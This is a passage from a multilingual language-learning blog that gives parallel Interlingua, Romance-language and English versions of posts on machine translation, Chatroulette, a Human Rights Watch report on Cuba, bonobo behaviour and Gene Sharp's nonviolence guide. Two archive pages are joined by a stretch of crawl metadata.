bilingue, e a illo manca un componente syntactic.\nA causa de iste circumstantia, illo sovente face errores de detalio grammatic. Ma pro un persona qui ha un cognoscimento assatis bon del linguagas que ille vole traducer, le uso del motor de Google pote sparniar multe travalio, e io lo ha trovate multo utile in mi effortios pro preparar textos pro \"Interlingua multilingue\".\nIo es confidente que in le futuro systemas de traduction informatic essera mesmo plus utile pro linguistas qui vole preparar nove ressources pro personas qui vole apprender nove linguas e meliorar lor cognoscimentos del linguas que illes jam ha studiate. Intertanto, io es multo contente de usar le ressources que io trova utile in iste momento.\n—\nI want to say to all of my English-speaking friends who do not know other languages that most of the messages in this blog have a version in English; and if you are not interested in studying the other languages that appear in this blog, you can go directly to the end of each article, where you can find its English version.\nThe purpose of \"Interlingua multilingue\" is to help its readers learn Interlingua and its source languages, and the English version of these articles is directed primarily to students of English as a second or third language.\nThe articles in this blog are about subjects that I find interesting and relevant to today's world. I am convinced that people learn languages with a maximum of effectiveness when they can work with texts that are interesting and relevant to their lives.\nWhile the Anglo-Romance group of languages have many differences among them, they also have a structural and grammatical core that is very similar in all of them. As I edit texts for \"Interlingua multilingue,\" I try to emphasize this core. If language students can control the core of these languages, they can move among them with a minimum of difficulty. The comparison of a lot of equivalent or parallel texts is an excellent way of studying languages, and a student can learn a lot by the study of these kinds of texts.\nJean François Champlion was able to decipher ancient Egyption using the Rosetta stone, which has the same text in hieroglyphics, a demotic script, and Greek. Champolion had exceptional talents as a linguist and was able to learn to read Egyptian through a limited exposure to a small corpus of texts in Egyptian and Greek.\nFor ordinary students who do not have Champolion's exceptional talents, the study of languages through parallel texts becomes progressively easier if the number of texts is large. In other words, there is a direct proportion between the number of parallel texts and their teaching usefulness.\nRight now, I would like to comment briefly on electronic translation and computerized systems that can recognize spoken language and convert it into text. I myself, like most of us, would welcome translation engines that work as well as human translators. They could be used as very patient tutors for human students of languages. Even now I have found the limited capabilities of Google's translation engine to be very useful because they save me time and labor as I edit the texts of \"Interlingua multilingue.\"\nWe now have computerized systems that are as good as office stenographers in the era before the Internet became a quasi-universal intellectual utility. I have seen demonstrations on YouTube of Dragon Naturally Speaking, which has versions in English and Spanish that appear to be very accurate and versatile. In time, other similar systems will be published for other languages. Not long ago, it was predicted that such systems would appear only after the year 2050 because of the great number of problems that would have to be solved before they would become powerful enough for general use.\nThe problems of developing computerized systems for translating languages are even more complicated. Really good human translators, besides having to dominate the vocabularies and syntax of the languages they work with, also have to have a lot of general cultural knowledge as they work to produce really good translations. At this moment, it is difficult to conceive how this knowledge can be built into translation engines.\nDespite these difficulties, however, we cannot conclude right now that developing computerized translation engines with similar knowledge is completely impossible. Human languages are very complicated systems, and a lot of progress will have to be made in artificial intelligence before electronic translators will be able to duplicate the capabilities of really good human translators.\nI have noted progressive improvements in Google's translation engine in the months I have been using it, and I am sure that it will continue to improve. This system operates principally through statistical comparisons of huge corpora of bilingual texts, and it lacks a syntactic component.\nBecause of this circumstance, it often makes mistakes in grammatical detail. But for a person who has a pretty good knowledge of the languages he wants to translate, the use of Google's engine can save a lot of work, and I have found it very useful in my efforts to prepare texts for \"Interlingua multilingue.\"\nI am sure that in the future computerized translation systems will be even more useful for linguists who want to prepare new resources for people who want to learn new languages and improve their knowledge of the languages that they have already studied. In the meantime I am happy to use the resources that I find useful at this moment.\nPosted by hkyson at 2:04 PM\n(Languages of this post: Italian, Interlingua)\nUn sito che collega le persone a caso ha ispirato una nuova moda sull'Internet.\nUn sito dove gli utenti dell'Internet possono casualmente mettersi in contatto con altre persone attraverso le loro webcam sta conquistando migliaia di fan in tutto il mondo. A volte vi si trovano più di 35 mila utenti.\nIn questo nuovo servizio, chiamato Chatroulette (roulette chat), creato nel novembre dello scorso anno, all'utente basta premere un pulsante per trovare immediatamente una persona con cui parlare.\nL'obiettivo del sito è già implicito nel nome: Chatroulette sarebbe qualcosa come la roulette per conversazioni virtuali.\nSe all'utente dell'Internet non piace il contatto, tutto ciò che egli deve fare è premere il bottone \"Next\" per trovare un'altra persona con cui parlare.\nConforntando degli sconosciuti, gli utenti dell'Internet stanno creando impieghi più variati per il sito. Un ragazzo svedese per esempio, schizza rapidamente le persone che vede sul sito. Un altro utente compone musica su temi suggeriti da sconosciutil trovati in Chatroulette. Un americano ha l'abitudine di cercare di predire il futuro delle persone leggendo la loro mano.\nCome era prevedibile, ci sono anche coloro che preferiscono utilizzare il servizio per pornografia o per altri usi aggressivi.\nPoiché non vi è alcun controllo su chi utilizza il sito (non è necessario qualsiasi tipo di iscrizione), o su ciò che la gente fa durante il chat, il Chatroulette è visto da molti come una perfetta opportunità per pedofili e criminali informatici.\nIl creatore del servizio, il russo Andrey Ternovskiy, di soli 17 anni, difende l'utilità della sua invenzione. \"Penso che un bel concetto semplice possa essere utile a molte persone\", ha detto, \"sebbene alcune persone stiano usando il sito in modo non molto usuale\".\nQuando fu lanciato nel novembre dello scorso anno, il servizio aveva solo dieci utenti, tutti amici di Ternovskiy. \"Mi è sempre piaciuto parlare con gli amici su Skype utilizzando un microfono e una telecamera\", ha detto. \"Ma ci siamo stancati di parlare solamente tra di noi. Così ho deciso di creare un piccolo servizio che sia in grado di connetterci in un modo casuale ad altre persone\".\nDa allora, l'idea ha raccolto una folla di sostenitori. Nel mese di dicembre, il numero medio di utenti contemporaneamente connessi era 300. Ai primi di febbraio erano già 10 mila. Oggi, dopo che la stampa americana ed europea ha preso atto del nuovo sistema, il numero di utenti è spesso più di 35 mila.\nSecondo Ternovskiy, che ha cominciato a interessarsi della costruzione di sistemi influenzato da suo padre all'età di 11 anni, con l'aumento del numero di utenti di Internet di Chatroulette, egli è stato costretto a riscrivere il codice di programma per sostenere il nuovo traffico. Ora, il servizio è gestito da sette server in Germania.\n---\nUn sito in le qual le internautas pote connectar se aleatoriemente con altere personas usante lor webcams gania milles de adeptos in omne le partes del mundo. A vices illo collige plus que 35 mille usarios.\nIn ille nove servicio appellate Chatroulette (roulette de chat), que esseva create in novembre in le anno passate, le usuario clicca in le buton \"Play\" pro trovar un altere persona con le qual ille pote parlar.\nLe objectivo del sito jam es implicite in su nomine. Chatrolette es alique como un joco de roulette de conversationes virtual.\nAnte stranieros, le internautas sta a crear usos pro le sito plus variate. Un puero de Svedia, pro exemplo, designa rapidemente le personas que ille vide in le sito. Un altere usuario compone musica desde themas suggerite per le stranieros que ille trova in Chatroulette. Un americano ha le habito de essayar a previder le futuro del personas que ille trova legente lor manos.\nComo on pote sperar, il anque ha illes qui prefere usos pornographic o aggressive pro le servicio.\nComo il non ha ulle controlo sur qui usa le sito (nulle tipo de registro es necesse) o sur lo que face le personas durante le chats, Chatroulette es vidite per multes como un opportunitate perfecte pro pedophilos o criminales cybernetic.\nLe creator del servicio, le russo Andrey Ternovskiy, de solmente 17 annos, defende le utilitate de su invention \"Io crede que un tal concepto simple pote essser utile pro multe gente\", diceva ille, \"mesmo si alicun personas sta a usar le sito de manieras non multo legal\".\nQuando illo esseva lanceate in novembro del anno passate, le servicio habeva solmente dece usuarios, omnes amicos de Ternovskiy. \"Sempre me placeva converser con amicos in Skype usando un microphone e un camera\", ille diceva. \"Ma iste gente se fatigava de conversar le unes con le alteres. Io tunc decideva crear un parve servicio in le qual nos poterea conectar nos aleatoriemente con altere personas.\"\nPostea le idea ganiava un multitude de enthusiastas. In decembre, le media de usuarios connectate simultaneemente esseva solmente 300. Al comenciar februario, illes jam esseva 10 mille. Hodie, post que le pressa american e europee deveniva consciente del systema, le numero de usuarios es multo vices plus grande que 35 mille.\nSecundo Ternovskiy, qui comenciava a preoccupar se con le construction de systemas sub le influentia de su patre al etate de 11 annos, durante que le numero de usatores de Chatroulette augmentava, ille esseva fortiate a rescriber le codice del programma pro sustener le nove movimento. In le actualitate, le servicio es mantenite in septe servitores in Germania.\nPosted by hkyson at 6:00 AM\n(Languages of this post: Interlingua, Spanish, Portuguese, English)\nUn reporto publicate le mercuridi per le organisation de derectos human Human Rights Watch (HRW) suggere que le repression e violationes del derectos human in Cuba ha essite mantenite per le governamento de Raúl Castro.\nLe documento titulate \"New Castro, Same Cuba\" (Nove Castro, Mesme Cuba) es le resultato de 60 interviews e plus que 40 casos registrate de detentiones per \"periculositate social\".\nIste tipo de detention, legal in le Codice Penal del pais, establi que le governamento pote detener personas individual ante que illes comitte un crimine, a causa del suspicion que illes pote committer un crimine in le futuro.\nSecundo HRW, le definition de \"periculo\" es politic e classificarea \"ulle comportamento que contradice le normas del Cuba socialiste\" como un crimine politic.\n\"Le cubanos qui osa criticar le governamento vive in constante timor, sapente que illes pote terminar in le carcere simplemente pro exprimer lor opiniones\", diceva Miguel Vivanco, le director pro le Americas de HRW.\nSecundo le reporto, ultra le personas detenite sin cargos, le conditiones de detention de prisoineros politic anque viola le derectos human.\nLe documento cita diverse casos de detenitos qui ha suffrite abusos violente in le carceres e extense confinamento solitari.\nPost tres annos in le poter, secundo Vivanco, Raúl Castro ha essite tan brutal como su fratre.\nFidel Castro passava le poter a su fratre Raul, primo provisionalmente in 2006 e postea de maniera permanente in februario, 2008.\nLe reporto anque cita le effortios del governamento del Statos Unite pro pressionar pro un cambio in le societate Cuban, specialmente in relation al embargo, ma illo insiste que le embargo non ha meliorate le derectos human in le pais e que illo habeva \"isolate le Statos Unite e alienate potential alliatos in iste question\".\n\"In despecto del nove direction in Washington e Havana\", dice le reporto, \"Cuba continua a pressionar su dissidentes, durante que le Statos Unite continua con le mesme politica fallite del embargo.\"\nLe documento recommenda que le administration de Obama cerca un alliantia con le Union Europee, le America latin, e Canada pro pressionar Cuba a liberar omne su prisioneros politic in sex menses. Un vice que isto ha essite realisate, le Statos Unite debe eliminar le embargo contra le pais.\n\"Nos crede que le embargo ha perpetuate le repression e le actual governamento in Cuba\", diceva Vivanco. \"Nos crede que le sol maniera de complir melioramentos in Cuba es le pression international, ma multilateral e adjustate.\"\nSi le governamento de Raúl Castro non se conforma con le compromisso de liberar su prisioneros, dice le reporto, le membros del alliantia deberea imponer sanctiones contra le insula. Iste mensuras debe esser sufficientemente importante pro impactar le governamento cuban, essente attente al mesme tempore de non imponer suffrimentos al populo cuban.\n---\nRaúl Castro mantiene la represión de Fidel en Cuba, dice Human Rights Watch.\nUn informe publicado el miércoles por la organización de derechos humanos Human Rights Watch (HRW) sugiere que la represión y violaciónes de los derechos humanos en Cuba han sido mantenidas por el gobierno de Raúl Castro.\nEl documento, titulado \"New Castro, same Cuba\" (Novo Castro, Misma Cuba), es el resultado de 60 entrevistas y más de 40 casos registrados de detenciones por \"peligrosidad social\".\nEste tipo de detención, legal en el Código Penal, del país, establece que el gobierno puede detener a personas individual antes de que cometan un delito, a causa de la suspición que puedan cometer un delito en el futuro.\nSegún HRW, la definición de \"peligro\" es política y clasificaría \"cualquier comportamiento que contradiga las normas de la Cuba socialista\" como un delito político.\n\"Los cubanos que se atreven a criticar al gobierno viven en constante temor, sabiendo que pueden terminar en la cárcel sencillamente por expresar sus opiniones\", dijo José Miguel Vivanco, director para las Américas de HRW.\nSegún el informe, además de las personas detenidas sin cargos, las condiciones de detención de presos políticos también violan los derechos humanos.\nEl documento cita varios casos de detenidos que han sufrido abusos violentos en las cárceles y aislamiento amplio.\nDespués de tres años en el poder, según Vivanco, Raúl Castro ha sido tan brutal como su hermano.\nFidel Castro entregó el poder a su hermano Raúl, primero provisionalmente en 2006 y después de manera permanente en febrero de 2008.\nEl informe cita también los esfuerzos del gobierno de los Estados Unidos para presionar por un cambio en la sociedad cubana, especialmente en relación al embargo, pero insiste en que el embargo no ha mejorado los derechos humanos en el país y que había \"aislado a Estados Unidos y alienados potenciales aliados en esta material\".\n\"A pesar de la nueva dirección en Washington y La Habana\", dice el informe, \"Cuba sigue poniendo presión sobre sus disidentes, mientras que Estados Unidos continúa con la misma política fracasada del embargo.\"\nEl documento recomienda que la administración de Obama busque una alianza con la Unión Europea, América Latina y Canadá para presionar a Cuba a liberar a todos sus presos políticos en seis meses. Una vez hecho esto, Estados Unidos debe eliminar el embargo contra el país.\n\"Creemos que el embargo ha perpetuado la represión y el gobierno actual de Cuba\", dijo Vivanco. \"Creemos que la única manera de lograr mejoras en Cuba es la presión internacional, pero multilateral y ajustada.\"\nSi el gobierno de Raúl Castro no cumple con el compromiso de liberar a sus prisioneros, dice el informe, los miembros de la alianza deberían imponer sanciones contra la isla. Estas medidas deben ser lo suficientemente importantes para impactar el gobierno cubano, al mismo tiempo teniendo cuidado de no imponer sufrimientos al pueblo cubano.\n---\nRaúl Castro mantém repressão de Fidel em Cuba, diz Human Rights Watch.\nUm relatório divulgado nesta quarta-feira pela organização de direitos humanos Human Rights Watch (HRW) sugere que a repressão e a violação dos direitos humanos foi mantida em Cuba pelo governo de Raúl Castro.\nO documento, intitulado \"New Castro, Same Cuba\" (Novo Castro, Mesma Cuba), é resultado de 60 entrevistas e mais de 40 casos registrados de prisões por \"periculosidade social\".\nEsse tipo de detenção, legal no Código Penal do país, prevê que o governo pode prender indivíduos antes que cometam algum crime, na suspeita de que possam vir a cometer uma ofensa no futuro.\nSegundo HRW, a definição de \"perigo\" seria política e classificaria \"qualquer comportamento que contradiga as normas socialistas de Cuba\" como um crime político.\n\"Os cubanos que ousam criticar o governo vivem em medo permanente, sabendo que podem acabar na prisão por meramente expressarem suas opiniões\", disse José Miguel Vivanco, diretor para as Américas da HRW.\nSegundo o relatório, além das pessoas detidas sem acusação, as condições carcerárias dos presos políticos também infringem os direitos humanos.\nO documento cita diversos casos de detentos que sofreram abusos violentos nas prisões, além de extenso confinamento solitário.\nEm três anos no poder, de acordo com Vivanco, Raúl Castro tem sido tão brutal quanto seu irmão.\nFidel Castro passou o poder para o seu irmão Raúl, primeiro interinamente em 2006 e depois de maneira permanente em fevereiro de 2008.\nO relatório também cita os esforços do governo dos Estados Unidos para pressionar por uma mudança na sociedade cubana, especialmente no que diz respeito ao embargo, mas insiste em que o embargo não tem melhorado os direitos humanos no país e \"isolou os Estados Unidos e alienou potenciais aliados nesta questão.\"\n\"Apesar da nova liderança em Washington e Havana\", diz o relatório, \"Cuba continua a pressionar seus dissidentes, enquanto os Estados Unidos perseguem a mesma política fracassada do embargo.\"\nO documento recomenda que o governo de Obama busque uma aliança com a União Europeia, América Latina e Canadá para pressionar Cuba a libertar todos seus prisioneiros políticos em seis meses. Uma vez que isso seja realizado, os Estados Unidos devem eliminar o embargo contra o país.\n\"Acreditamos que o embargo perpetuou a repressão e o regime atual em Cuba\", disse Vivanco. \"Acreditamos que a única forma de alcançar melhorias em Cuba é a pressão internacional, mas multilateral e ajustada.\"\nSe o governo de Raúl Castro não cumprir com o compromisso de libertar seus presos, dice o relatório, os membros da aliança deveriam impor sanções contra a ilha. Essas medidas devem ser significativas o suficientes para causar impacto no governo cubano e ser cuidadosas para não impor sofrimento ao povo cubano.\n---\nRaul Castro maintains Fidel's repression in Cuba, says Human Rights Watch.\nA report released Wednesday by the human rights organization Human Rights Watch (HRW) suggests that repression and human rights violations in Cuba have been maintained by Raul Castro's government.\nThe document, titled \"New Castro, Cuba Same Cuba\" is the result of sixty interviews and more than forty reported cases of arrests for \"social danger.\"\nThis type of detention, legal under the Criminal Code of the country, provides that the government can arrest individuals before they commit a crime, under the suspicion that they are likely to commit some offense in the future.\nAccording to HRW, the definition of \"danger\" is political and would classify \"any behavior that contradicts Cuba's socialist norms\" as political.\n\"Cubans who dare to criticize the government live in constant fear, knowing they can end up in jail for merely expressing their opinions,\" said Jose Miguel Vivanco, the director for the Americas of HRW.\nAccording to the report, in addition to people detained without charges, the conditions of detention of political prisoners also violate human rights.\nThe paper cites several cases of detainees who have suffered violent abuse in prisons and extensive solitary confinement.\nAfter three years in power, according to Vivanco, Raúl Castro has been as brutal as his brother.\nFidel Castro handed power to his brother Raul at first on an interim basis in 2006 and afterwards on a permanent basis in February, 2008.\nThe report also cites the efforts of the United States government to press for a change in Cuban society, especially in connection with the embargo, but it insists that the embargo has not improved human rights in the country and has \"isolated the United States and alienated potential allies in this matter.\"\n\"Despite the new leadership in Washington and Havana,\" the report says, \"Cuba continues to put pressure on its dissidents, while the United States pursues the same failed policy of the embargo.\"\nThe document recommends that Obama's government seek an alliance with the European Union, Latin America and Canada to pressure Cuba to release all its political prisoners within six months. Once that is done, the United States should remove the embargo against the country.\n\"We believe the embargo has perpetuated repression and the current government in Cuba,\" said Vivanco. \"We believe that the only way to achieve improvements in Cuba is through international but adjusted multilateral pressure.\"\nIf Raul Castro's government does not follow through on a commitment to free its prisoners, the report says, members of the alliance should impose sanctions on the island. These measures should be significant enough to impact the Cuban government and be careful not to impose suffering on the Cuban people.\nPosted by hkyson at 1:53 AM","id":"","dump":"CC-MAIN-2014-23","url":"http:\/\/www.interlinguamultilingue.blogspot.com\/2010_02_01_archive.html","date":"2014-07-23T11:58:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2014-23\/segments\/1405997877881.80\/warc\/CC-MAIN-20140722025757-00027-ip-10-33-131-23.ec2.internal.warc.gz","language":"ina","language_score":0.3578577638,"language_script":"Latn","minhash_cluster_size":49,"top_langs":"{\"ina_Latn_score\": 0.35785776376724243, \"spa_Latn_score\": 0.21940810978412628, \"por_Latn_score\": 0.11801330745220184, \"cbk_Latn_score\": 0.08191641420125961, \"eng_Latn_score\": 0.024663468822836876, \"glg_Latn_score\": 0.014584957621991634, \"srd_Latn_score\": 0.012406260706484318, \"ita_Latn_score\": 0.011713671498000622}","num_words":21992,"character_repetition_ratio":0.035,"word_repetition_ratio":0.011,"special_characters_ratio":0.192,"stopwords_ratio":0.027,"flagged_words_ratio":0.0,"lang_id_score":0.42,"perplexity_score":2570.5,"cluster_detection":-1} +{"text":"Monday, February 28, 2011\n(Languages of this post: Interlingua, English)\nIn le articulo in Wikipedia sur bonobos io comenciava con un texto in catalan sur iste animal, le qual io trovava al extreme leve del schermo, ubi io trovava ligamines a altere articulos sur bonobos in forsan vinti altere linguas.\n(Como io jam ha dicite in un altere articulo in \"Interlingua multilingue\" iste listas es un excellente ressource pro studentes interessate in un grande varietate de linguas. In le epocha pre-Internet, il haberea essite multo plus difficile trovar facilemente un simile selection de articulos!)\nIo consultava le articulo in catalan proque io voleva augmentar mi cognscimentos de iste lingua. Iste articulo non esseva multo longe, e io decideva que illo poterea servir admirabilemente ben como le base de un articulo pro \"Interlingua multilingue\".\nIo comenciava le production de iste articulo primo per traducer lo al espaniol usante le traductor electronic de Google, que produce traductiones multo bon inter iste duo linguas. Io tunc comparava le traductiones, corrigeva le espaniol, e eliminava partes del texto in catalan pro producer un articulo plus breve.\nIo tunc traduceva le version in espaniol al anglese, corrigente le traduction in anglese de Google e modificante le versiones in espaniol e catalan quando io trovava manieras plus simple de exprimer alicun partes de iste articulo durante que io travaliava.\n(Le uso extensive del traductor electronic de Google me ha inseniate como producer textos que es simple e correcte que ha un alte probabilitate de producer traductiones assatis bon in altere linguas, ben que sovente io debe facer alicunes emendationes in le textos que Google me provide.)\nFinalmente, io produceva le version in interlingua, consultante le tres altere versiones de iste articulo durante que io redigeva le version in interlingua, modificante a vices le versiones in le altere tres linguas pro augmentar le similaritates de expression de omne illos sin facer violentia al patronos de expression in ulles de illos.\nPro me, isto esseva un maniera excellente de studiar omne iste quatro linguas con le objectivo de trovar formas de expression clar e simple in omne illos.\n---\nHow I processed the four texts of \"Bonobos\"\nIn the article in Wikipedia on bonobos I started with a text in Catalan about this animal, which I found at the extreme left of the screen, where I found links to other articles on bonobos in perhaps twenty other languages.\n(As I have already said in another article in \"Interlingua multilingue,\" these lists are an excellent resource for students interested in a great variety of languages. In the pre-Internet era, it would have been much more difficult to easily find a similar selection of articles!)\nI took a look at the article in Catalan because I wanted to increase my knowledge of this language. This article wasn't very long, and I decided that it could serve quite admirably as the basis of an article for \"Interlingua multilingue.\"\nI started the production of this article first by translating it into Spanish using Google's electronic translator, which produces very good translations between these two languages. I then compared the translations, corrected the Spanish, and eliminated parts of the Catalan text to produce a shorter article.\nI then translated the Spanish version into English, correcting Google's English translation and modifying the versions in Spanish and Catalan when I found simpler ways of expressing some parts of this article.\n(Extensive use of Google's electronic translator has taught me how to produce texts that are simple and correct that have a high probability of producing rather good translations into other languages, though I often have to make some corrections in the texts that Google gives me.)\nFinally, I produced the version in Interlingua, consulting the three other versions of this article while I edited the version in Interlingua, modifying at times the versions in the other three languages to increase the similarities of expression in all of them without doing violence to the patterns of expression in any of them.\nFor me this was an excellent way of studying all these four languages with the goal of finding clear and simple ways of expression in all of them.\nPosted by hkyson at 8:10 PM\n(Languages of this post: Interlingua, Spanish, Catalan, English)\nLe bonobo (Pan paniscus) es un chimpanze cognoscite anque como \"chimpanzee pygmeo\". Le bonobos se vide rarmente foras de lor habitat normal e non es tan cognoscite como le chimpanzes. Le duo animales ha un apparentia multo simile, ma le bonobos generalmente ha un facie nigre, aures plus parve, e gambas plus longe.\nIllos vive in le densas pluvisilvas de Africa central e mangia principalmente fructos e folios que illos collige in le arbores. Lor altor adulte pote arrivar a un metro.\nLe studios de paleoanthropologia e paleozoologia demonstra que le bonobos descende del chimpanzes, habente se separate de iste specie ante unes 2 milliones de annos.\nUn mutation genetic, le qual dava origine al bonobos, esseva particularmente favorabile pro le prosperitate de iste specie: Se reduceva le grandor de iste animales--lo que generalmente, ben que non sempre, implica minus necessitates nutritional. Iste mutation anque cambiava lor comportamento, e le feminas, in loco del masculos, comenciava a organisar e diriger gruppos de bonobos.\nOn ha parlate de un \"matriarchato\" inter le bonobos desde que lor organisation social face que le violentia inter bonobos individual sia assatis basse, essente le feminas le mediators del relationes inter iste animales.\nComo le feminas es dominante in le societate bonobo, quando un episodio de violentia se produce inter le masculos, sovente le feminas les pacifica con le contacto sexual.\nLe relationes sexual joca un rolo central in le societate del bonobos e es utilisate pro resolver conflictos e anque como salute, moneta de cambio pro adquirer nutrimentos o favores, o como simple diversion.\nLe bonobos es le sol primates non-human que ha essite observate a practicar omne tipo de activitates sexual: basios con lingua, relationes vaginal facie a facie, sexo oral, frication de genitales inter feminas e inter masculos, masturbation, e tocamentos erotic.\n---\nBonobos\nEl bonobo (Pan paniscus) es un chimpancé conocido también como \"chimpacé pigmeo\". Los bonobos se ven raramente fuera de su hábitat natural y no son tan conocidos como los chimpancés. Los dos animales tienen un aspecto muy semejante, pero los bonobos suelen tener un rostro negro, las orejas más pequeñas y las piernas más largas.\nEllos viven en las densas pluviselvas de África central y comen principalmente frutos y hojas que recogen en los árboles. Su talla adulta puede alcanzar un metro.\nLos estudios de paleontología y paleozoologia evidencian que los bonobos descienden de los chimpancés, habiéndose separado de esta especie hace unos 2 millones de años.\nUna mutación genética, la que diera origen a los bonobos, fue particularmente favorable para que esta nueva especie prosperara: Se redujo el tamaño de estos animales--lo que suele implicar, aunque no siempre, menos requisitos nutricionales. Esta mutación también cambió su comportamiento, y las hembras, en lugar de los machos, empezaron a organizar y dirigir grupos de bonobos.\nSe ha hablado de un \"matriarcado\" entre los bonobos, ya que su organización social hace que la violencia entre bonobos individuales sea bastante baja, siendo las hembras las mediadoras de las relaciones entre estos animales.\nDebido a que las hembras son dominantes en la sociedad bonobo, cuando un brote de violencia se produce entre los machos, las hembras a menudo los pacifican con el contacto sexual.\nLas relaciones sexuales juegan un papel central en la sociedad de los bonobos y son utilizadas para resolver conflictos y también como saludo, moneda de cambio para conseguir comida o favores o como simple entretenimiento.\nLos bonobos son los únicos primates no humanos que han sido observados practicando todo tipo de actividades sexuales: besos con lengua, relaciones vaginales cara a cara, sexo oral, roces de genitales entre hembras y entre machos, masturbación y tocamientos eróticos.\n---\nBonobos\nEl bonobo (Pan paniscus) és un ximpanzé conegut també com \"ximpazé pigmeu\". Els bonobos es veuen rarament fora del seu hàbitat natural i no són tan coneguts com els ximpanzés. Els dos animals tenen un aspecte molt similar, però els bonobos solen tenir la cara negra, orelles més petites i les cames més llargues.\nElls viuen a les denses pluviselvas de l'Àfrica central i mengen principalment de fruits i fulles que cullen en els arbres. La seva talla adulta pot arribar a un metre.\nEls estudis de paleontologia i paleozoologia evidencien que els bonobos descendeixen dels ximpanzés, havent-se separat d'aquesta espècie fa uns 2 milions d'anys.\nUna mutació genètica, la qual donés origen als bonobos, va ser particularment favorable perquè aquesta nova espècie prosperés: Es va reduir la grandària d'aquests animals--el que sol, encara que no sempre, implica menys requisits nutricionals. Aquesta mutació també va canviar el seu comportament, i les femelles, en lloc dels mascles, van començar a organitzar i dirigir grups de bonobos.\nS'ha parlat d'un \"matriarcat\" entre els bonobos, ja que la seva organizació social fa que la violència entre bonobos individuals sigui bastant baixa, essent les femelles les mediadores de les relacions entre aquests animals.\nCom que les femelles són dominants en la societat bonobo, quan un brot de violència es produeix entre els mascles, les femelles sovint els pacifiquen amb el contacte sexual.\nLes relacions sexuals juguen un paper central en la societat dels bonobos i són utilitzades per a resoldre conflictes i també com salutació, moneda de canvi per aconseguir menjar o favors o com simple entreteniment.\nEls bonobos són els únics primats no humans que han estat observats practicant tot tipus d'activitats sexuals: petons amb llengua, relacions vaginals cara a cara, sexe oral, frecs de genitals entre femelles i entre mascles, masturbació I tocaments eròtics.\n---\nBonobos\nThe bonobo (Pan paniscus) is a chimpanzee also known as the \"pygmy chimpanzee.\" Bonobos are rarely seen outside their natural habitat, so they are not as well known as chimpanzees. The two animals have a very similar appearance, but bonobos often have a black face, smaller ears and longer legs.\nThey live in the dense rainforests of central Africa and eat mostly fruits and leaves collected on trees. Their adult height can reach one meter.\nStudies of paleontology and Palaeozoology show that bonobos descended from chimpanzees, having been separated from this species for about 2 million years.\nA genetic mutation that gave rise to the bonobos was particularly favorable for this new species to flourish: The size of these animals was reduced--which generally, though not always, implies reduced nutritional needs. This mutation also changed their behavior, and females rather than males, began to organize and lead groups of bonobos.\nThere has been talk of a \"matriarchy\" among the bonobos, since their social organization reduces violence among them considerably, with females mediating relationships among these animals.\nBecause the females are dominant in bonobo society, when an outbreak of violence occurs among males, females often pacify them with sexual contact.\nSexual relations play a central role in bonobo society and are used to resolve conflicts and also as a way of greeting, a currency in exchange for food or favors, or as simple entertainment.\nBonobos are the only non-human primates that have been observed to practice all kinds of sex: tongue kissing, face to face vaginal intercourse, oral sex, genital rubbing between females and males, masturbation, and erotic touching.\nPosted by hkyson at 7:36 PM\nUn manual clarmente scribite sur le revolution non-violente usate per le egyptianos es disponibile in diverse linguas.\n(Languages of this post: Interlingua, Portuguese, English)\nQuando on parla del non-violentia, le prime nomine que veni al mente es Mahatma Gandhi, le heroe del independentia de India.\nMa le manifestantes qui superava le dictaturas de Zine Ben Ali e Hosni Mubarak sequeva le inseniamentos de un altere homine, le politologo american Gene Sharp.\nSharp es le autor de \"Del Dictatura al Democratia--un guida conceptual al liberation\". Le libro de solmente 93 paginas, disponibile pro download in 24 linguas (il ha versiones in anglese e espaniol, ma non in portugese), ha inspirate dissidentes in paises como Mianmar, Bosnia, Estonia, e Zimbabwe--e nunc Tunisia e Egypto.\nSecundo Ahmed Maher, un del leaders del Movimento 6 de April, qui organisava le protestos contra Mubarak, le dissidentes cognosceva le textos de Sharp.\nLe obra de Sharp parla de disobedencia civil, boycotts economic e lucta pro derectos civil. Secundo ille, le non-violentia es le melior arma contra un dictatura. \"Si vos lucta con le violentia, vos sta a luctar con le melior arma de vostre inimico\", ille dice. \"Vos essera un heroe coragiose, ma morte\".\nCon un oculo in le eventos del Medie Oriente, Sharp dice que ille es emotionate per le attitude del manifestantes Egyptian, specialmente le corage de illes ante le dictatura. \"Illo es un inseniamento de Gandhi. Si on non time le dictatores, le dictatores ha un grandissime problema ante illes.\"\nVos pote discoperir informationes ulterior sur le travalio de Gene Sharp si vos va a iste sito:\nhttp:\/\/www.aeinstein.org\/organizations98ce.html\n---\nUm manual claramente escrito sobre a revolução não-violenta usado pelos egípcios está disponível em diversos idiomas.\nQuando se fala em não-violência o primeiro nome que se vem à cabeça é o Mahatma Gandhi, herói da independência da Índia.\nMas manifestantes que derrubaram as ditaduras de Zine Ben Ali e Hosni Mubarak seguiram os ensinamentos de outro homem: o cientista político americano Gene Sharp.\nSharp é o autor de \"Da Ditadura à Democracia--um guia conceitual para a libertação\". O livro de apenas 93 páginas, disponível para download em 24 línguas (há versões em inglês e espanhol, mas não em português), tem inspirado dissidentes em países como Mianmar, Bósnia, Estônia e Zimbábue--e agora, na Tunísia e no Egito.\nDe acordo com Ahmed Maher, um dos líderes do Movimento 6 de Abril, que organizou os protestos contra Mubarak, os dissidentes conheceram os textos de Sharp.\nA obra de Sharp fala de desobediência civil, boicotes econômicos e luta por direitos civis. De acordo com ele, a não-violência é a melhor arma contra uma ditadura. \"Se você luta com violência, está lutando com a melhor arma do seu inimigo\", diz. \"Será um herói corajoso, mas morto\".\nDe olho nos acontecimentos no Oriente Médio, Sharp se diz emocionado pela atitude dos manifestantes egípcios, especialmente a coragem deles diante da ditadura. \"Esse é um ensinamento de Gandhi. Se as pessoas não temerem os ditadores, os ditatores têm um problemão pela frente\".\nVocê pode descobrir mais informações sobre o trabalho de Gene Sharp, se você vai a este site:\nhttp:\/\/www.aeinstein.org\/organizations98ce.html\n---\nA clearly written manual on nonviolent revolution used by the Egyptians is available in various languages.\nWhen it comes to non-violence the first name that comes to mind is Mahatma Gandhi, India's independence hero.\nBut the protesters who overthrew the dictatorship of Zine Ben Ali and Hosni Mubarak followed the teachings of another man: the American political scientist Gene Sharp.\nSharp is the author of \"From Dictatorship to Democracy--a Conceptual Guide for Liberation.\" The ninety-three-page book, available for download in twenty-four languages (there are versions in English and Spanish but not Portuguese), has inspired dissidents in countries like Myanmar, Bosnia, Estonia, and Zimbabwe--and now in Tunisia and Egypt.\nAccording to Ahmed Maher, a leader of the April 6th Movement, which organized the protests against Mubarak, dissidents knew about Sharp's texts.\nSharp's work discusses civil disobedience, boycotts and economic struggle for civil rights. According to him, non-violence is the best weapon against 